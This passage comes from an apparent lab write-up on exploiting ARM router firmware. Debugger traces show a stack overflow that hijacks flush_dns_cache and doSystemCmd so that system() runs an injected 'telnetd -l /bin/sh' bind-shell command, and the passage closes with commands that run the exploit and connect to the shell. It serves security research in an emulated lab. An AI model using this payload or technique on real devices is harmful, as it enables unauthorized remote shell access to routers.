*R1   0x11dbe0 —▸ 0x11fd78 —▸ 0x120e88 ◂— 0x120e88
*R2   0x11dbe0 —▸ 0x11fd78 —▸ 0x120e88 ◂— 0x120e88
*R3   0x407fed71 ◂— 0x407fed71
*R4   0x41414141 ('AAAA')
*R5   0x42424242 ('BBBB')
*R6   0x43434343 ('CCCC')
*R7   0x44444444 ('DDDD')
 R8   0xec24 (_init) ◂— 0xec24
 R9   0x2e420 ◂— 0x2e420
 R10  0x407ff928 ◂— 0x407ff928
*R11  0x61616161 ('aaaa')
*R12  0x3fabeedc ([email protected]) —▸ 0x3fab4a50 (__pthread_unlock) ◂— 0x3fab4a50
*SP   0x407fedb0 ◂— 0x407fedb0
 LR   0x10914 ◂— 0x10914
*PC   0x3fb0ba50 (flush_dns_cache+108) ◂— 0x3fb0ba50
*CPSR 0x20000010 [ n z C v q j t e a i f ]
─────────────────────────────────────────────────────────────────────[ DISASM / arm / arm mode / set emulate on ]──────────────────────────────────────────────────────────────────────
b► 0x3fb0ba50 <flush_dns_cache+108>    bl     doSystemCmd@plt             <doSystemCmd@plt>
        r0: 0x407fed71 ◂— 0x407fed71
        r1: 0x11dbe0 —▸ 0x11fd78 —▸ 0x120e88 ◂— 0x120e88
        r2: 0x11dbe0 —▸ 0x11fd78 —▸ 0x120e88 ◂— 0x120e88
        r3: 0x407fed71 ◂— 0x407fed71

   0x3fb0ba54 <flush_dns_cache+112>    pop    {r3, r4, r11, pc}           <flush_dns_cache+120>
    ↓

───────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
00:0000│  sp 0x407fedb0 ◂— 0x407fedb0
01:0004│     0x407fedb4 ◂— 0x407fedb4
02:0008│     0x407fedb8 ◂— 0x407fedb8
03:000c│     0x407fedbc —▸ 0x3f928904 (_exit) ◂— 0x3f928904
04:0010│     0x407fedc0 ◂— 0x407fedc0
05:0014│     0x407fedc4 ◂— 0x407fedc4
06:0018│     0x407fedc8 ◂— 0x407fedc8
07:001c│     0x407fedcc ◂— 0x407fedcc
─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
 ► 0 0x3fb0ba50 flush_dns_cache+108
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/s $r0
0x407fed71:     "telnetd -l /bin/sh;", 'a' <repeats 16 times>, " |\261?q\355\177@AAAABBBBCCCCDDDDL\272\260?EEEEFFFFGGGG\004\211\222?}"
pwndbg> x/s $r3
0x407fed71:     "telnetd -l /bin/sh;", 'a' <repeats 16 times>, " |\261?q\355\177@AAAABBBBCCCCDDDDL\272\260?EEEEFFFFGGGG\004\211\222?}"
pwndbg> p/x $r0
$3 = 0x407fed71

Step into the doSystemCmd call, it reconstructs the command string into another local stack buffer via vsnprintf, copying the string data from its 1st argument R0 which is controlled by us:

axura @ labyrinth :~
─────────────────────────────────────────────────────────────────────[ DISASM / arm / arm mode / set emulate on ]──────────────────────────────────────────────────────────────────────
   0x3fb06158 <doSystemCmd+104>    sub    r2, r2, #0xc
   0x3fb0615c <doSystemCmd+108>    mov    r0, r2
   0x3fb06160 <doSystemCmd+112>    mov    r1, #0x800            R1 => 0x800
   0x3fb06164 <doSystemCmd+116>    mov    r2, r3
   0x3fb06168 <doSystemCmd+120>    ldr    r3, [r11, #-0x14]0x3fb0616c <doSystemCmd+124>    bl     vsnprintf@plt               <vsnprintf@plt>
        s: 0x407fe530 ◂— 0x407fe530
        maxlen: 0x800
        format: 0x407fed71 ◂— 0x407fed71
        arg: 0x407feda4 —▸ 0x11dbe0 —▸ 0x11fd78 —▸ 0x120e88 ◂— 0x120e88

   0x3fb06170 <doSystemCmd+128>    str    r0, [r11, #-0x10]
   0x3fb06174 <doSystemCmd+132>    ldr    r3, [pc, #0x60]       R3, [doSystemCmd+236]
   0x3fb06178 <doSystemCmd+136>    add    r3, r4, r3
   0x3fb0617c <doSystemCmd+140>    mov    r2, r3
   0x3fb06180 <doSystemCmd+144>    sub    r3, r11, #0x6c
───────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
00:0000│ r0 sp 0x407fe530 ◂— 0x407fe530
01:0004│       0x407fe534 ◂— 0x407fe534
02:0008│       0x407fe538 ◂— 0x407fe538
03:000c│       0x407fe53c ◂— 0x407fe53c
04:0010│       0x407fe540 ◂— 0x407fe540
05:0014│       0x407fe544 ◂— 0x407fe544
06:0018│       0x407fe548 ◂— 0x407fe548
07:001c│       0x407fe54c ◂— 0x407fe54c
─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
 ► 0 0x3fb0616c doSystemCmd+124
   1 0x3fb0ba54 flush_dns_cache+112
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> dumpargs
        s: 0x407fe530 ◂— 0x407fe530
        maxlen: 0x800
        format: 0x407fed71 ◂— 0x407fed71
        arg: 0x407feda4 —▸ 0x11dbe0 —▸ 0x11fd78 —▸ 0x120e88 ◂— 0x120e88
pwndbg> x/s 0x407fed71
0x407fed71:     "telnetd -l /bin/sh;aaaa\244\355\177@"

When we contruct the command string for doSystemCmd, we shoulde place the telnetd command at the early part of the speed_dir JSON output. Because the latter part on the stack will be overwritten in the following instructions and malform the command itself.

Examine the internal system call with the correct command string argument:

axura @ labyrinth :~
─────────────────────────────────────────────────────────────────────[ DISASM / arm / arm mode / set emulate on ]──────────────────────────────────────────────────────────────────────
   0x3fb06194 <doSystemCmd+164>    cmn    r3, #1
   0x3fb06198 <doSystemCmd+168>    beq    doSystemCmd+188             <doSystemCmd+188>

   0x3fb061ac <doSystemCmd+188>    sub    r3, r11, #0x860
   0x3fb061b0 <doSystemCmd+192>    sub    r3, r3, #0xc
   0x3fb061b4 <doSystemCmd+196>    mov    r0, r30x3fb061b8 <doSystemCmd+200>    bl     system@plt                  <system@plt>
        command: 0x407fe530 ◂— 0x407fe530

   0x3fb061bc <doSystemCmd+204>    str    r0, [r11, #-0x10]
   0x3fb061c0 <doSystemCmd+208>    ldr    r3, [r11, #-0x10]
   0x3fb061c4 <doSystemCmd+212>    mov    r0, r3
   0x3fb061c8 <doSystemCmd+216>    sub    sp, r11, #8
   0x3fb061cc <doSystemCmd+220>    pop    {r4, r11, lr}
───────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
00:0000│ r0 r3 sp 0x407fe530 ◂— 0x407fe530
01:0004│          0x407fe534 ◂— 0x407fe534
02:0008│          0x407fe538 ◂— 0x407fe538
03:000c│          0x407fe53c ◂— 0x407fe53c
04:0010│          0x407fe540 ◂— 0x407fe540
05:0014│          0x407fe544 ◂— 0x407fe544
06:0018│          0x407fe548 ◂— 0x407fe548
07:001c│          0x407fe54c ◂— 0x407fe54c
─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
 ► 0 0x3fb061b8 doSystemCmd+200
   1 0x3fb0ba54 flush_dns_cache+112
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/s 0x407fe530
0x407fe530:     "telnetd -l /bin/sh;aaaa\244\355\177@"

At the end of doSystemCmd, pop PC with the _exit funtion call:

axura @ labyrinth :~
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────────────[ REGISTERS / show-flags on / show-compact-regs off ]─────────────────────────────────────────────────────────────────
 R0   0x7f00
 R1   0
 R2   0x407fe530 ◂— 0x407fe530
*R3   0x45454545 ('EEEE')
*R4   0x46464646 ('FFFF')
 R5   0x42424242 ('BBBB')
 R6   0x43434343 ('CCCC')
 R7   0x44444444 ('DDDD')
 R8   0xec24 (_init) ◂— 0xec24
 R9   0x2e420 ◂— 0x2e420
 R10  0x407ff928 ◂— 0x407ff928
*R11  0x47474747 ('GGGG')
 R12  0x3fabef0c (pthread_setcanceltype@got[plt]) —▸ 0x3fab05b4 (pthread_setcanceltype) ◂— 0x3fab05b4
*SP   0x407fedc0 ◂— 0x407fedc0
 LR   0x3fb0ba54 (flush_dns_cache+112) ◂— 0x3fb0ba54
*PC   0x3f928904 (_exit) ◂— 0x3f928904
 CPSR 0x60000010 [ n Z C v q j t e a i f ]
─────────────────────────────────────────────────────────────────────[ DISASM / arm / arm mode / set emulate on ]──────────────────────────────────────────────────────────────────────
0x3f928904 <_exit>       mov    r4, r0            R4 => 0x7f00
   0x3f928908 <_exit+4>     push   {r7, lr}
   0x3f92890c <_exit+8>     mov    r0, r4            R0 => 0x7f00
   0x3f928910 <_exit+12>    mov    r7, #1            R7 => 1
   0x3f928914 <_exit+16>    svc    #0 <SYS_exit>
   0x3f928918 <_exit+20>    cmn    r0, #0x1000
   0x3f92891c <_exit+24>    mov    r5, r0
   0x3f928920 <_exit+28>    bls    _exit+8                     <_exit+8>

   0x3f928924 <_exit+32>    rsb    r5, r5, #0
   0x3f928928 <_exit+36>    bl     __errno_location@plt        <__errno_location@plt>

   0x3f92892c <_exit+40>    str    r5, [r0]
───────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
00:0000│  sp 0x407fedc0 ◂— 0x407fedc0
01:0004│     0x407fedc4 ◂— 0x407fedc4
02:0008│     0x407fedc8 ◂— 0x407fedc8
03:000c│     0x407fedcc ◂— 0x407fedcc
04:0010│     0x407fedd0 ◂— 0x407fedd0
05:0014│     0x407fedd4 ◂— 0x407fedd4
06:0018│     0x407fedd8 ◂— 0x407fedd8
07:001c│     0x407feddc ◂— 0x407feddc
─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
 ► 0 0x3f928904 _exit
   1 0x3fb0ba54 flush_dns_cache+112

Whole attack chain accomplished. Target router compromised:


7 Pwn

After the chain was validated in GDB, the same exploit could be replayed directly against the lab without the debugger:

Bash
./run_lab.sh
python3 xpl.py

After the trigger, verify that the bind shell came up:

Bash
ps -aux | grep telnetd
telnet 192.168.200.5

The result was a working shell on the emulated firmware target:

Pwned.